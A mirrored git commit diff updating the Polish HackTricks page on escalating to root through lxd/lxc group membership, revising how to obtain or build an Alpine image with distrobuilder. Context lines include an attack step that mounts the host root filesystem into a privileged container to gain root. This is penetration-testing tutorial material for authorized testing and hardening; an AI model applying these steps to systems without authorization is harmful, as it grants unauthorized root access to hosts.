mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/interesting-groups
This commit is contained in:
parent
51865b6f49
commit
c3c5d3702a
@ -1,4 +1,4 @@
|
|||||||
# lxd/lxc Grupa - Eskalacja uprawnień
|
# lxd/lxc Group - Podwyższenie uprawnień
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
@ -8,18 +8,21 @@ Jeśli należysz do grupy _**lxd**_ **lub** _**lxc**_, możesz stać się rootem
|
|||||||
|
|
||||||
### Metoda 1
|
### Metoda 1
|
||||||
|
|
||||||
Możesz zainstalować na swoim komputerze to narzędzie do budowy dystrybucji: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(postępuj zgodnie z instrukcjami na githubie):
|
Możesz pobrać obraz alpine do użycia z lxd z zaufanego repozytorium. Canonical publikuje codzienne wersje na swojej stronie: [https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/](https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/) Po prostu pobierz zarówno **lxd.tar.xz**, jak i **rootfs.squashfs** z najnowszej wersji. (Nazwa katalogu to data).
|
||||||
|
|
||||||
|
Alternatywnie możesz zainstalować na swoim komputerze to narzędzie do budowy dystrybucji: [https://github.com/lxc/distrobuilder](https://github.com/lxc/distrobuilder) (postępuj zgodnie z instrukcjami na githubie):
|
||||||
```bash
|
```bash
|
||||||
sudo su
|
|
||||||
# Install requirements
|
# Install requirements
|
||||||
sudo apt update
|
sudo apt update
|
||||||
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
|
sudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage
|
||||||
|
|
||||||
# Clone repo
|
# Clone repo
|
||||||
|
mkdir -p $HOME/go/src/github.com/lxc/
|
||||||
|
cd $HOME/go/src/github.com/lxc/
|
||||||
git clone https://github.com/lxc/distrobuilder
|
git clone https://github.com/lxc/distrobuilder
|
||||||
|
|
||||||
# Make distrobuilder
|
# Make distrobuilder
|
||||||
cd distrobuilder
|
cd ./distrobuilder
|
||||||
make
|
make
|
||||||
|
|
||||||
# Prepare the creation of alpine
|
# Prepare the creation of alpine
|
||||||
@ -27,13 +30,10 @@ mkdir -p $HOME/ContainerImages/alpine/
|
|||||||
cd $HOME/ContainerImages/alpine/
|
cd $HOME/ContainerImages/alpine/
|
||||||
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
|
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
|
||||||
|
|
||||||
# Create the container
|
# Create the container - Beware of architecture while compiling locally.
|
||||||
## Using build-lxd
|
sudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86_64
|
||||||
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
|
|
||||||
## Using build-lxc
|
|
||||||
sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18
|
|
||||||
```
|
```
|
||||||
Prześlij pliki **lxd.tar.xz** i **rootfs.squashfs**, dodaj obraz do repozytorium i utwórz kontener:
|
Prześlij pliki **incus.tar.xz** (**lxd.tar.xz**, jeśli pobrałeś z repozytorium Canonical) oraz **rootfs.squashfs**, dodaj obraz do repozytorium i utwórz kontener:
|
||||||
```bash
|
```bash
|
||||||
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
|
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
|
||||||
|
|
||||||
@ -50,7 +50,7 @@ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=t
|
|||||||
```
|
```
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Jeśli napotkasz ten błąd _**Błąd: Nie znaleziono puli pamięci. Proszę utworzyć nową pulę pamięci**_\
|
> Jeśli napotkasz ten błąd _**Błąd: Nie znaleziono puli pamięci. Proszę utworzyć nową pulę pamięci**_\
|
||||||
> Uruchom **`lxd init`** i **powtórz** poprzedni zestaw poleceń
|
> Uruchom **`lxd init`** i skonfiguruj wszystkie opcje na domyślne. Następnie **powtórz** poprzedni zestaw poleceń
|
||||||
|
|
||||||
Na koniec możesz uruchomić kontener i uzyskać dostęp do roota:
|
Na koniec możesz uruchomić kontener i uzyskać dostęp do roota:
|
||||||
```bash
|
```bash
|
||||||
|
Loading…
x
Reference in New Issue
Block a user